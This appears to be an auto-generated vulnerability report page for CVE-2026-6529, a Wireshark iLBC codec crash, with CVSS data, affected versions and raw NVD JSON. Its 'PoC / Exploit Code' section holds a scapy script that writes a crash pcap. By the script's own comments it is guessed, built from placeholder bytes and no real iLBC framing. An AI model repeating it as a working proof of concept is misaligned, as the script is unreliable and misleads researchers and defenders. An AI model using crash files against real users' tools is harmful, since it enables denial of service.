Security Vulnerability Report
中文
CVE-2026-6529 CVSS 5.5 MEDIUM

CVE-2026-6529

Published: 2026-04-30 07:16:40
Last Modified: 2026-05-01 19:28:31

Description

iLBC audio codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:* - VULNERABLE
Wireshark 4.6.0 - 4.6.4
Wireshark 4.4.0 - 4.4.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC Generator for CVE-2026-6529 Generates a pcap file with a malformed payload to trigger the iLBC crash. """ from scapy.all import * import sys def generate_poc(filename): # Craft a UDP/RTP packet often associated with iLBC traffic # The payload contains a specific pattern likely to trigger the parsing bug. # Note: Exact bytes depend on the specific vulnerability disclosure. malformed_payload = b"\x00" * 12 + b"\xFF" * 4 + b"\xDE\xAD\xBE\xEF" packet = IP(dst="127.0.0.1") / UDP(sport=5004, dport=5004) / Raw(load=malformed_payload) wrpcap(filename, [packet]) print(f"[+] PoC file generated: {filename}") print("[+] Open this file in Wireshark (vulnerable version) to reproduce the crash.") if __name__ == "__main__": generate_poc("cve_2026_6529_crash.pcap")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6529", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:40.130", "lastModified": "2026-05-01T19:28:30.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iLBC audio codec crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21145", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-32.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}